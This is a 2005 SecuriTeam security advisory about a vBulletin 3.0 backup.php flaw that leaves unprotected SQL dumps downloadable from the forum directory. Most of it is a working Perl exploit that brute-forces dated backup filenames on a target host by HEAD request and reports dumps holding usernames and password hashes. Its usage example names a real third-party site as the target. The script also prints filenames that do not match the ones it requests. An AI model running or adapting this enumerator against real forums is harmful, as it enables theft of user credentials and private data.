[UNIX] vBulletin Information Disclosure (backup.php)

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  vBulletin Information Disclosure (backup.php)
------------------------------------------------------------------------


SUMMARY

" <http://www.vbulletin.com/> vBulletin is a powerful, scalable and fully 
customizable forums package for your web site." Insufficient protection by 
the backup mechanism allows users to obtain SQL dumps of vBulletin.

DETAILS

Vulnerable Systems:
 * vBulletin Version 3.0

The 'backup.php' script creates a database backup file that is not 
password protected and is not encrypted. If the administrator selects the 
same directory as the forum for the location of the backup file, then a 
remote user that can guess the filename can download the file to obtain 
usernames, hashed passwords, and other information.

Exploit:
#!/usr/bin/perl
###########################################
# C R O U Z . C O M S E C U R I T Y T E A M #
###########################################
# EXPLOIT FOR: vBULLETIN All Versions Forums Backup Detector #
# #
#Expl0it By: A l p h a _ P r o g r a m m e r (Sirius) #
#Email: Alpha_Programmer@xxxxxxxxxxxxx #
# #
#This Vuln Credited By M@FIA From Crouz Security Team #
# #
# Reference: http://securitytracker.com/alerts/2005/Aug/1014805.html #
# #
###########################################
#GR33tz T0 => mh_p0rtal -- Dr-ChephaleX -- The-CepheXin -- Djay_Agoustinno 
#
# Autumn_Love6 -- Behzad185 -- No_Face_King -- M@FIA # #
# #
# IRANIAN HACKERS AND RESEARCHERS #
# Special Lamerz : Shabgard & Emperor (Two Arabic Lamerz) #
# #
###########################################



use IO::Socket;

if (@ARGV < 2)
{
  print "\n===========================\n";
  print " \n -- Exploit By Alpha Programmer(sirius) --\n\n";
  print " Crouz Security Team \n\n";
  print " Usage: <Target> <DIR>\n\n";
  print "===========================\n\n";
  print "Examples:\n\n";
  print " VbulletinBU.pl www.shabgard.org /Forums/\n\n";
  print "You Can Add The Forum Backup Folder \n(It's Default in Forum's 
Root Directory) \n Example : VbulletinBU.pl www.shabgard.org 
/Forums/include/ /Alpha Programmer\n\n";

  exit();
}

my $host = $ARGV[0];
my $DIR = $ARGV[1];


@Alpha = ('0' , '1' , '2' , '3' , '4' ,'5' , '6' , '7' , '8' , '9' );

foreach $licht0 ( @Alpha ) {
  foreach $licht1 ( @Alpha ) {
    foreach $licht2 ( @Alpha ) {
      foreach $licht3 ( @Alpha ) {
        foreach $licht4 ( @Alpha ) {
          $crouz = $licht1.$licht2;
          $crouz2 = $licht3.$licht4;
          $crouz3 = "200";
          $crouz3 .= $licht0;
          
          if ($crouz >= 31 ) {
            goto LightDoor;
          }

          if ($crouz2 > 12 ) {
            goto LightDoor;
          }

          if ($crouz3 > 2005 ) {
            goto LightDoor;
          }

          print "forumbackup-$crouz-$crouz2-$crouz3.sql\n";
          $Sirius = "forumbackup-$crouz2-$crouz-$crouz3.sql";

          my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => 
$host, PeerPort => "80" );

          unless ($remote) { die "C4nn0t C0nn3ct to $host" }

          $http = "HEAD $DIR$Sirius HTTP/1.0\n";
          $http .= "Host: $host\n\r\n\r";
          print "\n";
          print $remote $http;
          sleep(1);

          while ($sirus=<$remote>)
          {
            if($sirus =~ "200 OK") {
              print "$sirus";
              print "Nice ... You Found The BackUp Of VBulletin Forum , 
See This URL :\n";
              print "$host$DIR$Sirius\n\n";
              goto start;
            }
          }
        }
        LightDoor:
      }
    }
  }
}

start:

#EoF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:mahdi.mafia@xxxxxxxxx> mahdi 
mafia ,
 <mailto:alpha_programmer@xxxxxxxxxxxxx> Alpha Programmer.
The original article can be found at:  
<http://securitytracker.com/alerts/2005/Aug/1014805.html> 
http://securitytracker.com/alerts/2005/Aug/1014805.html



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@xxxxxxxxxxxxxx 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@xxxxxxxxxxxxxx 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.